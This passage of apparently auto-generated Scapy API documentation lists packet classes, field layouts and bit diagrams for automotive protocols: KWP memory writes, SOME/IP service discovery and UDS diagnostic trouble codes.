+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   MEMORYSIZE  |   DATARECORD  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KWP_WMBA                           


KWP_WMBA fields






	memoryAddress

	X3BytesField

	0



	memorySize

	ByteField

	0



	dataRecord

	StrField

	b''















	
class scapy.contrib.automotive.kwp.KWP_WMBAPR(_pkt, /, *, memoryAddress=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L625-L634]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/kwp.py#L631-L634]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. KWP_WMBAPR                          


KWP_WMBAPR fields






	memoryAddress

	X3BytesField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.someip


	
class scapy.contrib.automotive.someip.SD(_pkt, /, *, flags=<Flag 0 ()>, res=0, len_entry_array=None, entry_array=[], len_option_array=None, option_array=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L451-L495]

	Bases: _SDPacketBase

SD Packet


	NOTEwhen adding ‘entries’ or ‘options’, do not use list.append()
	method but create a new list



	e.g.p = SD()
	p.option_array = [SDOption_Config(),SDOption_IP6_EndPoint()]






	
SOMEIP_CLIENT_ID = 0

	




	
SOMEIP_IFACE_VER = 1

	




	
SOMEIP_MINIMUM_SESSION_ID = 1

	




	
SOMEIP_MSGID_SRVID = 65535

	




	
SOMEIP_MSGID_SUBID = 33024

	




	
SOMEIP_MSG_TYPE = 2

	




	
SOMEIP_PROTO_VER = 1

	




	
SOMEIP_RETCODE = 0

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |                      RES                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                LEN ENTRY ARRAY                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          ENTRY ARRAY          |LEN OPTION ARRA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  OPTION ARRAY |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                             Fig. SD                              


SD fields






	flags

	FlagsField

	<Flag 0 ()>



	res

	X3BytesField

	0



	len_entry_array

	FieldLenField

	None



	entry_array

	PacketListField

	[]



	len_option_array

	FieldLenField

	None



	option_array

	PacketListField

	[]











	
set_entryArray(entry_list)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L485-L489]

	




	
set_optionArray(option_list)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L491-L495]

	








	
class scapy.contrib.automotive.someip.SDEntry_EventGroup(_pkt, /, *, type=6, index_1=0, index_2=0, n_opt_1=0, n_opt_2=0, srv_id=0, inst_id=0, major_ver=0, ttl=0, res=0, cnt=0, eventgroup_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L259-L267]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |    INDEX 1    |    INDEX 2    |N OPT 1|N OPT 2|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SRV ID            |            INST ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   MAJOR VER   |                      TTL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          RES          |  CNT  | EVENTGROUP ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. SDEntry_EventGroup                      


SDEntry_EventGroup fields






	type

	XByteEnumField

	6



	index_1

	XByteField

	0



	index_2

	XByteField

	0



	n_opt_1

	XBitField  (4 bits)

	0



	n_opt_2

	XBitField  (4 bits)

	0



	srv_id

	XShortField

	0



	inst_id

	XShortField

	0



	major_ver

	XByteField

	0



	ttl

	X3BytesField

	0



	res

	XBitField  (12 bits)

	0



	cnt

	XBitField  (4 bits)

	0



	eventgroup_id

	XShortField

	0















	
class scapy.contrib.automotive.someip.SDEntry_Service(_pkt, /, *, type=0, index_1=0, index_2=0, n_opt_1=0, n_opt_2=0, srv_id=0, inst_id=0, major_ver=0, ttl=0, minor_ver=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L250-L256]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |    INDEX 1    |    INDEX 2    |N OPT 1|N OPT 2|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SRV ID            |            INST ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   MAJOR VER   |                      TTL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   MINOR VER                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. SDEntry_Service                       


SDEntry_Service fields






	type

	XByteEnumField

	0



	index_1

	XByteField

	0



	index_2

	XByteField

	0



	n_opt_1

	XBitField  (4 bits)

	0



	n_opt_2

	XBitField  (4 bits)

	0



	srv_id

	XShortField

	0



	inst_id

	XShortField

	0



	major_ver

	XByteField

	0



	ttl

	X3BytesField

	0



	minor_ver

	XIntField

	0















	
class scapy.contrib.automotive.someip.SDOption_Config(_pkt, /, *, len=None, type=1, res_hdr=0, cfg_str=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L342-L381]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |    RES HDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CFG STR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SDOption_Config                       


SDOption_Config fields






	len

	ShortField

	None



	type

	XByteEnumField

	1



	res_hdr

	XByteField

	0



	cfg_str

	StrLenField

	b'\x00'











	
static make_string(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L354-L381]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L348-L352]

	








	
class scapy.contrib.automotive.someip.SDOption_IP4_EndPoint(_pkt, /, *, len=9, type=4, res_hdr=0, addr='0.0.0.0', res_tail=0, l4_proto=17, port=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L394-L400]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |    RES HDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RES TAIL   |    L4 PROTO   |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SDOption_IP4_EndPoint                    


SDOption_IP4_EndPoint fields






	len

	ShortField

	9



	type

	XByteEnumField

	4



	res_hdr

	XByteField

	0



	addr

	IPField

	'0.0.0.0'



	res_tail

	XByteField

	0



	l4_proto

	ByteEnumField

	17



	port

	ShortField

	0















	
class scapy.contrib.automotive.someip.SDOption_IP4_Multicast(_pkt, /, *, len=9, type=20, res_hdr=0, addr='0.0.0.0', res_tail=0, l4_proto=17, port=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L403-L409]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |    RES HDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RES TAIL   |    L4 PROTO   |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SDOption_IP4_Multicast                    


SDOption_IP4_Multicast fields






	len

	ShortField

	9



	type

	XByteEnumField

	20



	res_hdr

	XByteField

	0



	addr

	IPField

	'0.0.0.0'



	res_tail

	XByteField

	0



	l4_proto

	ByteEnumField

	17



	port

	ShortField

	0















	
class scapy.contrib.automotive.someip.SDOption_IP4_SD_EndPoint(_pkt, /, *, len=9, type=36, res_hdr=0, addr='0.0.0.0', res_tail=0, l4_proto=17, port=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L412-L418]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |    RES HDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RES TAIL   |    L4 PROTO   |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SDOption_IP4_SD_EndPoint                   


SDOption_IP4_SD_EndPoint fields






	len

	ShortField

	9



	type

	XByteEnumField

	36



	res_hdr

	XByteField

	0



	addr

	IPField

	'0.0.0.0'



	res_tail

	XByteField

	0



	l4_proto

	ByteEnumField

	17



	port

	ShortField

	0















	
class scapy.contrib.automotive.someip.SDOption_IP6_EndPoint(_pkt, /, *, len=21, type=6, res_hdr=0, addr='::', res_tail=0, l4_proto=17, port=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L421-L427]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |    RES HDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RES TAIL   |    L4 PROTO   |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SDOption_IP6_EndPoint                    


SDOption_IP6_EndPoint fields






	len

	ShortField

	21



	type

	XByteEnumField

	6



	res_hdr

	XByteField

	0



	addr

	IP6Field

	'::'



	res_tail

	XByteField

	0



	l4_proto

	ByteEnumField

	17



	port

	ShortField

	0















	
class scapy.contrib.automotive.someip.SDOption_IP6_Multicast(_pkt, /, *, len=21, type=22, res_hdr=0, addr='::', res_tail=0, l4_proto=17, port=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L430-L436]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |    RES HDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RES TAIL   |    L4 PROTO   |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SDOption_IP6_Multicast                    


SDOption_IP6_Multicast fields






	len

	ShortField

	21



	type

	XByteEnumField

	22



	res_hdr

	XByteField

	0



	addr

	IP6Field

	'::'



	res_tail

	XByteField

	0



	l4_proto

	ByteEnumField

	17



	port

	ShortField

	0















	
class scapy.contrib.automotive.someip.SDOption_IP6_SD_EndPoint(_pkt, /, *, len=21, type=38, res_hdr=0, addr='::', res_tail=0, l4_proto=17, port=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L439-L445]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |    RES HDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RES TAIL   |    L4 PROTO   |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SDOption_IP6_SD_EndPoint                   


SDOption_IP6_SD_EndPoint fields






	len

	ShortField

	21



	type

	XByteEnumField

	38



	res_hdr

	XByteField

	0



	addr

	IP6Field

	'::'



	res_tail

	XByteField

	0



	l4_proto

	ByteEnumField

	17



	port

	ShortField

	0















	
class scapy.contrib.automotive.someip.SDOption_LoadBalance(_pkt, /, *, len=5, type=2, res_hdr=0, priority=0, weight=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L384-L391]

	Bases: _SDPacketBase


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |    RES HDR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PRIORITY           |             WEIGHT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SDOption_LoadBalance                     


SDOption_LoadBalance fields






	len

	ShortField

	5



	type

	XByteEnumField

	2



	res_hdr

	XByteField

	0



	priority

	ShortField

	0



	weight

	ShortField

	0















	
class scapy.contrib.automotive.someip.SOMEIP(_pkt, /, *, srv_id=0, sub_id=None, len=None, client_id=0, session_id=0, proto_ver=1, iface_ver=1, msg_type=0, retcode=0, offset=0, res=0, more_seg=0, data=[<Raw  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L25-L198]

	Bases: Packet

SOME/IP Packet.


	
INTERFACE_VERSION = 1

	




	
LEN_OFFSET = 8

	




	
LEN_OFFSET_TP = 12

	




	
PROTOCOL_VERSION = 1

	




	
RET_E_MALFORMED_MSG = 9

	




	
RET_E_NOT_OK = 1

	




	
RET_E_NOT_REACHABLE = 5

	




	
RET_E_NOT_READY = 4

	




	
RET_E_OK = 0

	




	
RET_E_TIMEOUT = 6

	




	
RET_E_UNKNOWN_METHOD = 3

	




	
RET_E_UNKNOWN_SERVICE = 2

	




	
RET_E_WRONG_INTERFACE_V = 8

	




	
RET_E_WRONG_MESSAGE_TYPE = 10

	




	
RET_E_WRONG_PROTOCOL_V = 7

	




	
TYPE_ERROR = 129

	




	
TYPE_ERROR_ACK = 193

	




	
TYPE_NOTIFICATION = 2

	




	
TYPE_NOTIFICATION_ACK = 66

	




	
TYPE_REQUEST = 0

	




	
TYPE_REQUEST_ACK = 64

	




	
TYPE_REQUEST_NORET_ACK = 65

	




	
TYPE_REQUEST_NO_RET = 1

	




	
TYPE_RESPONSE = 128

	




	
TYPE_RESPONSE_ACK = 192

	




	
TYPE_TP_ERROR = 161

	




	
TYPE_TP_NOTIFICATION = 34

	




	
TYPE_TP_REQUEST = 32

	




	
TYPE_TP_REQUEST_NO_RET = 33

	




	
TYPE_TP_RESPONSE = 160

	




	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L145-L154]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SRV ID            |             SUB ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CLIENT ID           |           SESSION ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   PROTO VER   |   IFACE VER   |    MSG TYPE   |    RETCODE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         OFFSET                        | RES |M|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. SOMEIP                            


SOMEIP fields






	srv_id

	XShortField

	0



	sub_id

	MultipleTypeField (XShortField, XShortField, XShortField)

	0



	len

	IntField

	None



	client_id

	XShortField

	0



	session_id

	XShortField

	0



	proto_ver

	XByteField

	1



	iface_ver

	XByteField

	1



	msg_type

	ByteEnumField

	0



	retcode

	ByteEnumField

	0



	offset

	BitScalingField (Cond) (28 bits)

	0



	res

	BitField (Cond) (3 bits)

	0



	more_seg

	BitField (Cond) (1 bit)

	0



	data

	PacketListField (Cond)

	[<Raw  |>]











	
fragment(fragsize=1392)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L172-L198]

	Fragment SOME/IP-TP






	
static get_payload_cls_by_srv_id(pkt, lst, cur, remain)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L130-L132]

	




	
payload_cls_by_srv_id = {}

	




	
payload_guess

	Possible sublayers:
SD






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/someip.py#L134-L143]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.uds

UDS


	
class scapy.contrib.automotive.uds.DTC(_pkt, /, *, system=0, type=0, numeric_value_code=0, additional_information_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L916-L936]

	Bases: Packet


	
aliastypes

	




	
dtc_descriptions = {}

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L935-L936]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SYS|TYP|   NUMERIC VALUE CODE  |ADDITIONAL INFO|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. DTC                             


DTC fields






	system

	BitEnumField

	0



	type

	BitEnumField

	0



	numeric_value_code

	BitField  (12 bits)

	0



	additional_information_code

	ByteField

	0















	
class scapy.contrib.automotive.uds.DTCAndStatusRecord(_pkt, /, *, dtc=None, status=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1036-L1044]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1043-L1044]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DTC              |     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DTCAndStatusRecord                      


DTCAndStatusRecord fields






	dtc

	PacketField

	None



	status

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.uds.DTCExtendedData(_pkt, /, *, data_type=0, record=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1047-L1056]

	Bases: Packet


	
aliastypes

	




	
dataTypes = {}

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1055-L1056]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DATA TYPE   |     RECORD    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DTCExtendedData                       


DTCExtendedData fields






	data_type

	ByteEnumField

	0



	record

	XByteField

	0















	
class scapy.contrib.automotive.uds.DTCExtendedDataRecord(_pkt, /, *, dtcAndStatus=None, extendedData=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1059-L1063]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DTCANDSTATUS         |          EXTENDEDDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DTCExtendedDataRecord                    


DTCExtendedDataRecord fields






	dtcAndStatus

	PacketField

	None



	extendedData

	PacketListField

	[]















	
class scapy.contrib.automotive.uds.DTCSnapshot(_pkt, /, *, record_number=0, record_number_of_identifiers=0, snapshotData=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1066-L1083]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1082-L1083]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RECORD NUMBER |RECORD NUMBER O|          SNAPSHOTDATA         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DTCSnapshot                         


DTCSnapshot fields






	record_number

	ByteField

	0



	record_number_of_identifiers

	ByteField

	0



	snapshotData

	PacketListField

	[]











	
identifiers = {}

	




	
static next_identifier_cb(pkt, lst, cur, remain)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1069-L1071]

	








	
class scapy.contrib.automotive.uds.DTCSnapshotRecord(_pkt, /, *, dtcAndStatus=None, snapshots=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1086-L1090]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DTCANDSTATUS         |           SNAPSHOTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DTCSnapshotRecord                      


DTCSnapshotRecord fields






	dtcAndStatus

	PacketField

	None



	snapshots

	PacketListField

	[]















	
class scapy.contrib.automotive.uds.UDS(_pkt, /, *, service=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L49-L129]

	Bases: ISOTP


	
aliastypes

	




	
answers(other: UDS | Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L111-L123]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SERVICE    |
